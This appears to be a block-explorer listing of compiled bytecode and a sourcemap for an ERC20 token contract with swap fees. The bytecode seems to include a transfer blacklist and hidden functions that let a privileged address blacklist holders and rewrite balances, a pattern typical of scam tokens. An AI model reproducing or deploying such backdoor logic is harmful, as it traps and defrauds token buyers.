fffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ea79594939291906126e4565b600060405180830381600087803b158015611ec157600080fd5b505af1925050508015611ed2575060015b611edb57611edc565b5b60004790506000811115611f5457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f52573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b6000611fb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611991565b905092915050565b600080831415611fd15760009050612033565b60008284611fdf9190612835565b9050828482611fee9190612804565b1461202e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202590612649565b60405180910390fd5b809150505b92915050565b60008083118290612080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207791906125a7565b60405180910390fd5b506000838561208f9190612804565b9050809150509392505050565b6000813590506120ab81612d3b565b92915050565b6000815190506120c081612d3b565b92915050565b60008083601f8401126120dc576120db612b10565b5b8235905067ffffffffffffffff8111156120f9576120f8612b0b565b5b60208301915083602082028301111561211557612114612b15565b5b9250929050565b60008135905061212b81612d52565b92915050565b60008135905061214081612d69565b92915050565b60006020828403121561215c5761215b612b1f565b5b600061216a8482850161209c565b91505092915050565b60006020828403121561218957612188612b1f565b5b6000612197848285016120b1565b91505092915050565b600080604083850312156121b7576121b6612b1f565b5b60006121c58582860161209c565b92505060206121d68582860161209c565b9150509250929050565b6000806000606084860312156121f9576121f8612b1f565b5b60006122078682870161209c565b93505060206122188682870161209c565b925050604061222986828701612131565b9150509250925092565b6000806040838503121561224a57612249612b1f565b5b60006122588582860161209c565b925050602061226985828601612131565b9150509250929050565b60008060006040848603121561228c5761228b612b1f565b5b600084013567ffffffffffffffff8111156122aa576122a9612b1a565b5b6122b6868287016120c6565b935093505060206122c98682870161211c565b9150509250925092565b60006122df83836122fa565b60208301905092915050565b6122f4816128d5565b82525050565b612303816128c3565b82525050565b612312816128c3565b82525050565b600061232382612769565b61232d818561278c565b935061233883612759565b8060005b8381101561236957815161235088826122d3565b975061235b8361277f565b92505060018101905061233c565b5085935050505092915050565b61237f816128e7565b82525050565b61238e8161292a565b82525050565b61239d8161293c565b82525050565b60006123ae82612774565b6123b8818561279d565b93506123c8818560208601612972565b6123d181612b24565b840191505092915050565b60006123e960238361279d565b91506123f482612b35565b604082019050919050565b600061240c60128361279d565b915061241782612b84565b602082019050919050565b600061242f60228361279d565b915061243a82612bad565b604082019050919050565b6000612452601b8361279d565b915061245d82612bfc565b602082019050919050565b600061247560218361279d565b915061248082612c25565b604082019050919050565b600061249860208361279d565b91506124a382612c74565b602082019050919050565b60006124bb60258361279d565b91506124c682612c9d565b604082019050919050565b60006124de60248361279d565b91506124e982612cec565b604082019050919050565b6124fd81612913565b82525050565b61250c8161291d565b82525050565b60006020820190506125276000830184612309565b92915050565b600060208201905061254260008301846122eb565b92915050565b600060408201905061255d6000830185612309565b61256a6020830184612309565b9392505050565b60006020820190506125866000830184612376565b92915050565b60006020820190506125a16000830184612385565b92915050565b600060208201905081810360008301526125c181846123a3565b905092915050565b600060208201905081810360008301526125e2816123dc565b9050919050565b60006020820190508181036000830152612602816123ff565b9050919050565b6000602082019050818103600083015261262281612422565b9050919050565b6000602082019050818103600083015261264281612445565b9050919050565b6000602082019050818103600083015261266281612468565b9050919050565b600060208201905081810360008301526126828161248b565b9050919050565b600060208201905081810360008301526126a2816124ae565b9050919050565b600060208201905081810360008301526126c2816124d1565b9050919050565b60006020820190506126de60008301846124f4565b92915050565b600060a0820190506126f960008301886124f4565b6127066020830187612394565b81810360408301526127188186612318565b90506127276060830185612309565b61273460808301846124f4565b9695505050505050565b60006020820190506127536000830184612503565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127b982612913565b91506127c483612913565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127f9576127f8612a20565b5b828201905092915050565b600061280f82612913565b915061281a83612913565b92508261282a57612829612a4f565b5b828204905092915050565b600061284082612913565b915061284b83612913565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561288457612883612a20565b5b828202905092915050565b600061289a82612913565b91506128a583612913565b9250828210156128b8576128b7612a20565b5b828203905092915050565b60006128ce826128f3565b9050919050565b60006128e0826128f3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129358261294e565b9050919050565b600061294782612913565b9050919050565b600061295982612960565b9050919050565b600061296b826128f3565b9050919050565b60005b83811015612990578082015181840152602081019050612975565b8381111561299f576000848401525b50505050565b600060028204905060018216806129bd57607f821691505b602082108114156129d1576129d0612a7e565b5b50919050565b60006129e282612913565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a1557612a14612a20565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d44816128c3565b8114612d4f57600080fd5b50565b612d5b816128e7565b8114612d6657600080fd5b50565b612d7281612913565b8114612d7d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056f236ec20724c23277e6073487d0d31f6bcba56002f329bec11c2f72ee3ad5264736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063c5d241891161006f578063c5d241891461045d578063c816841b14610488578063c8607952146104b3578063dd62ed3e146104de578063e3a38c051461051b578063f2fde38b1461054457610140565b806370a08231146103645780638d140a41146103a15780638da5cb5b146103ca57806395d89b41146103f5578063a9059cbb1461042057610140565b806323b872dd116100fd57806323b872dd146102405780632792949d1461027d578063313ce567146102a85780633345611e146102d35780633ecad27114610310578063683e865c1461034d57610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631d231b2c1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b60405161016791906125a7565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612233565b6105ff565b6040516101a49190612571565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf919061258c565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa91906126c9565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612146565b61064d565b6040516102379190612571565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906121e0565b61066d565b6040516102749190612571565b60405180910390f35b34801561028957600080fd5b50610292610747565b60405161029f919061252d565b60405180910390f35b3480156102b457600080fd5b506102bd61076d565b6040516102ca919061273e565b60405180910390f35b3480156102df57600080fd5b506102fa60048036038101906102f59190612146565b610784565b6040516103079190612571565b60405180910390f35b34801561031c57600080fd5b5061033760048036038101906103329190612146565b6107a4565b6040516103449190612571565b60405180910390f35b34801561035957600080fd5b506103626107c4565b005b34801561037057600080fd5b5061038b60048036038101906103869190612146565b610b9c565b60405161039891906126c9565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c39190612273565b610be5565b005b3480156103d657600080fd5b506103df610d18565b6040516103ec9190612512565b60405180910390f35b34801561040157600080fd5b5061040a610d41565b60405161041791906125a7565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190612233565b610dd3565b6040516104549190612571565b60405180910390f35b34801561046957600080fd5b50610472610df2565b60405161047f91906126c9565b60405180910390f35b34801561049457600080fd5b5061049d610df8565b6040516104aa9190612512565b60405180910390f35b3480156104bf57600080fd5b506104c8610e1e565b6040516104d591906126c9565b60405180910390f35b3480156104ea57600080fd5b50610505600480360381019061050091906121a0565b610e24565b60405161051291906126c9565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d9190612233565b610eab565b005b34801561055057600080fd5b5061056b60048036038101906105669190612146565b610feb565b005b60606001805461057c906129a5565b80601f01602080910402602001604051908101604052809291908181526020018280546105a8906129a5565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c61113d565b8484611145565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b600061067a848484611310565b5061073c8461068761113d565b61073785604051806060016040528060288152602001612d8160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ed61113d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119919092919063ffffffff16565b611145565b600190509392505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6107cc61113d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085090612669565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b857600080fd5b505afa1580156108cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f09190612173565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095257600080fd5b505afa158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190612173565b6040518363ffffffff1660e01b81526004016109a7929190612548565b602060405180830381600087803b1580156109c157600080fd5b505af11580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190612173565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b33610bfc6101ef60056119f590919063ffffffff16565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016101f483610c2f9190612804565b148015610c6757508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610c7057600080fd5b60005b86869050811015610d0f578460086000898985818110610c9657610c95612aad565b5b9050602002016020810190610cab9190612146565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d07906129d7565b915050610c73565b50505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d50906129a5565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7c906129a5565b8015610dc95780601f10610d9e57610100808354040283529160200191610dc9565b820191906000526020600020905b815481529060010190602001808311610dac57829003601f168201915b5050505050905090565b6000610de7610de061113d565b8484611310565b506001905092915050565b60095481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166101f4610ed961113d565b60016101f483610ee99190612804565b148015610f2157508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610f2a57600080fd5b610fa184610f93610f846001600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b87611a5390919063ffffffff16565b6119f590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b610ff361113d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790612669565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac906126a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c90612609565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161130391906126c9565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890612689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e8906125c9565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561147e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611475906125e9565b60405180910390fd5b600d60149054906101000a900460ff16156114a55761149e848484611a9d565b905061198a565b60006114b030610b9c565b9050600d60149054906101000a900460ff161580156115195750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115285761152781611c70565b5b61157a83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116605750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561166d57839050611889565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f0576116e960646116db60095488611fbe90919063ffffffff16565b611a5390919063ffffffff16565b905061176e565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561176d5761176a606461175c600a5488611fbe90919063ffffffff16565b611a5390919063ffffffff16565b90505b5b6000811115611872576117c981600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161186991906126c9565b60405180910390a35b6118858186611f7490919063ffffffff16565b9150505b6118db81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161197b91906126c9565b60405180910390a36001925050505b9392505050565b60008383111582906119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d091906125a7565b60405180910390fd5b50600083856119e8919061288f565b9050809150509392505050565b6000808284611a0491906127ae565b905083811015611a49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4090612629565b60405180910390fd5b8091505092915050565b6000611a9583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612039565b905092915050565b6000611b28826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119919092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bbd82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c5d91906126c9565b60405180910390a3600190509392505050565b6001600d60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ca857611ca7612adc565b5b604051908082528060200260200182016040528015611cd65781602001602082028036833780820191505090505b5090503081600081518110611cee57611ced612aad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d9057600080fd5b505afa158015611da4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dc89190612173565b81600181518110611ddc57611ddb612aad565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e4330600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611145565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ea79594939291906126e4565b600060405180830381600087803b158015611ec157600080fd5b505af1925050508015611ed2575060015b611edb57611edc565b5b60004790506000811115611f5457600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f52573d6000803e3d6000fd5b505b50506000600d60146101000a81548160ff02191690831515021790555050565b6000611fb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611991565b905092915050565b600080831415611fd15760009050612033565b60008284611fdf9190612835565b9050828482611fee9190612804565b1461202e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202590612649565b60405180910390fd5b809150505b92915050565b60008083118290612080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207791906125a7565b60405180910390fd5b506000838561208f9190612804565b9050809150509392505050565b6000813590506120ab81612d3b565b92915050565b6000815190506120c081612d3b565b92915050565b60008083601f8401126120dc576120db612b10565b5b8235905067ffffffffffffffff8111156120f9576120f8612b0b565b5b60208301915083602082028301111561211557612114612b15565b5b9250929050565b60008135905061212b81612d52565b92915050565b60008135905061214081612d69565b92915050565b60006020828403121561215c5761215b612b1f565b5b600061216a8482850161209c565b91505092915050565b60006020828403121561218957612188612b1f565b5b6000612197848285016120b1565b91505092915050565b600080604083850312156121b7576121b6612b1f565b5b60006121c58582860161209c565b92505060206121d68582860161209c565b9150509250929050565b6000806000606084860312156121f9576121f8612b1f565b5b60006122078682870161209c565b93505060206122188682870161209c565b925050604061222986828701612131565b9150509250925092565b6000806040838503121561224a57612249612b1f565b5b60006122588582860161209c565b925050602061226985828601612131565b9150509250929050565b60008060006040848603121561228c5761228b612b1f565b5b600084013567ffffffffffffffff8111156122aa576122a9612b1a565b5b6122b6868287016120c6565b935093505060206122c98682870161211c565b9150509250925092565b60006122df83836122fa565b60208301905092915050565b6122f4816128d5565b82525050565b612303816128c3565b82525050565b612312816128c3565b82525050565b600061232382612769565b61232d818561278c565b935061233883612759565b8060005b8381101561236957815161235088826122d3565b975061235b8361277f565b92505060018101905061233c565b5085935050505092915050565b61237f816128e7565b82525050565b61238e8161292a565b82525050565b61239d8161293c565b82525050565b60006123ae82612774565b6123b8818561279d565b93506123c8818560208601612972565b6123d181612b24565b840191505092915050565b60006123e960238361279d565b91506123f482612b35565b604082019050919050565b600061240c60128361279d565b915061241782612b84565b602082019050919050565b600061242f60228361279d565b915061243a82612bad565b604082019050919050565b6000612452601b8361279d565b915061245d82612bfc565b602082019050919050565b600061247560218361279d565b915061248082612c25565b604082019050919050565b600061249860208361279d565b91506124a382612c74565b602082019050919050565b60006124bb60258361279d565b91506124c682612c9d565b604082019050919050565b60006124de60248361279d565b91506124e982612cec565b604082019050919050565b6124fd81612913565b82525050565b61250c8161291d565b82525050565b60006020820190506125276000830184612309565b92915050565b600060208201905061254260008301846122eb565b92915050565b600060408201905061255d6000830185612309565b61256a6020830184612309565b9392505050565b60006020820190506125866000830184612376565b92915050565b60006020820190506125a16000830184612385565b92915050565b600060208201905081810360008301526125c181846123a3565b905092915050565b600060208201905081810360008301526125e2816123dc565b9050919050565b60006020820190508181036000830152612602816123ff565b9050919050565b6000602082019050818103600083015261262281612422565b9050919050565b6000602082019050818103600083015261264281612445565b9050919050565b6000602082019050818103600083015261266281612468565b9050919050565b600060208201905081810360008301526126828161248b565b9050919050565b600060208201905081810360008301526126a2816124ae565b9050919050565b600060208201905081810360008301526126c2816124d1565b9050919050565b60006020820190506126de60008301846124f4565b92915050565b600060a0820190506126f960008301886124f4565b6127066020830187612394565b81810360408301526127188186612318565b90506127276060830185612309565b61273460808301846124f4565b9695505050505050565b60006020820190506127536000830184612503565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127b982612913565b91506127c483612913565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127f9576127f8612a20565b5b828201905092915050565b600061280f82612913565b915061281a83612913565b92508261282a57612829612a4f565b5b828204905092915050565b600061284082612913565b915061284b83612913565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561288457612883612a20565b5b828202905092915050565b600061289a82612913565b91506128a583612913565b9250828210156128b8576128b7612a20565b5b828203905092915050565b60006128ce826128f3565b9050919050565b60006128e0826128f3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129358261294e565b9050919050565b600061294782612913565b9050919050565b600061295982612960565b9050919050565b600061296b826128f3565b9050919050565b60005b83811015612990578082015181840152602081019050612975565b8381111561299f576000848401525b50505050565b600060028204905060018216806129bd57607f821691505b602082108114156129d1576129d0612a7e565b5b50919050565b60006129e282612913565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a1557612a14612a20565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20626c61636b4c69737465640000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d44816128c3565b8114612d4f57600080fd5b50565b612d5b816128e7565b8114612d6657600080fd5b50565b612d7281612913565b8114612d7d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056f236ec20724c23277e6073487d0d31f6bcba56002f329bec11c2f72ee3ad5264736f6c63430008070033

Deployed Bytecode Sourcemap

3769:6545:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5499:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6453:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4465:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5776:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4258:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7348:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3995:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5685:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4149:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4206:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5021:470;;;;;;;;;;;;;:::i;:::-;;5884:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6048:246;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2904:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5590:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7173:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4312:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4513:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4354:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;